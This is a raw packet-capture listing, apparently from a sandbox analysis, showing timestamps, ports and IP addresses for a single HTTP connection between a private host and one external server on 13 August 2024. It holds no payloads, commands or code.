Aug 13, 2024 10:21:15.480961084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480966091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480982065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.481004953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.481031895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.481532097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481542110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481551886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481560946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481571913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481581926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481585979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.481592894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481604099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.481621027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.481648922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482004881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482017040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482027054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482037067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482048035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482053041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482058048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482069016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482069016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482079029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482091904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482110977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482147932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482460022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482470989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482481003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482511997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482527018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482630968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482642889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482651949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482662916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482672930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482681990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482688904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482700109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482711077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482719898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482722044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482733011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482743979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482752085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482755899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482767105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.482779026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482794046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.482815027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.483586073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483597994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483608007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483618021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483628035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483639002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483647108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.483649969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483660936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483670950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483680964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483691931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483695030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.483704090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483715057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483719110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.483726978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483736992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.483753920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.483784914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.484381914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.484394073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.484405041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.484416008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.484441042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.484466076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.565643072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565664053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565679073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565692902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565732002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565737963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.565743923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565757036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565768003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565781116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.565795898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.565821886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.565881014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565967083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.565979004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566009045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566036940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566117048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566128969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566140890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566165924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566193104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566200018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566289902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566302061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566313982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566332102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566358089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566473961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566485882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566498995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566510916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566524029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566529989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566545010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566565037 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566704035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566715956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566756010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566837072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566848993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566860914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566873074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566876888 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566884041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566895008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.566904068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.566932917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567105055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567117929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567130089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567141056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567152023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567163944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567166090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567178011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567184925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567199945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567210913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567369938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567419052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567476988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567491055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567528963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567627907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567640066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567651987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567662954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567676067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567676067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567684889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567706108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567735910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567939997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567950964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567962885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567974091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.567985058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.567992926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568002939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568007946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568015099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568026066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568028927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568037987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568049908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568059921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568062067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568089008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568108082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568523884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568536043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568547010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568557978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568568945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568577051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568579912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568592072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568603039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568609953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568614960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568624020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568628073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.568638086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.568666935 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569019079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569031000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569041967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569056034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569067001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569076061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569096088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569106102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569742918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569756985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569767952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569778919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569791079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569802999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569813013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569813967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569825888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569830894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569838047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569844007 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569849014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569859982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569870949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569871902 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569883108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569895029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569905996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569905996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569906950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569920063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.569932938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.569961071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570116997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570202112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570270061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570282936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570292950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570312023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570318937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570324898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570338011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570348024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570349932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570362091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570373058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570375919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570384979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570394993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570400953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570406914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570413113 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570420027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570430040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570434093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570441008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570453882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.570456028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570477962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.570492029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.571228981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571240902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571253061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571264029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571274996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571280956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.571286917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571305037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571306944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.571319103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571326017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.571331024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571338892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.571347952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.571362972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.571376085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.571393013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653211117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653249025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653261900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653316021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653326988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653341055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653351068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653353930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653397083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653538942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653556108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653568029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653584003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653614998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653716087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653728008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653738976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653765917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653786898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653836012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653847933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653877974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653882027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653892040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.653894901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.653930902 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.654021025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.654032946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.654045105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.654056072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.654064894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.654069901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.654093981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.654120922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.692881107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.699151039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904851913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904880047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904892921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904912949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.904944897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.904954910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904967070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904978037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904989004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.904998064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.905031919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.905296087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905308962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905347109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.905416012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905427933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905440092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905451059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905462027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905472994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905478954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.905489922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.905504942 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.905534029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.905935049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905947924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905965090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905976057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905987024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.905997992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906001091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906002998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906009912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906014919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906030893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906064987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906392097 CEST	80	49711	193.142.147.59	192.168.2.6
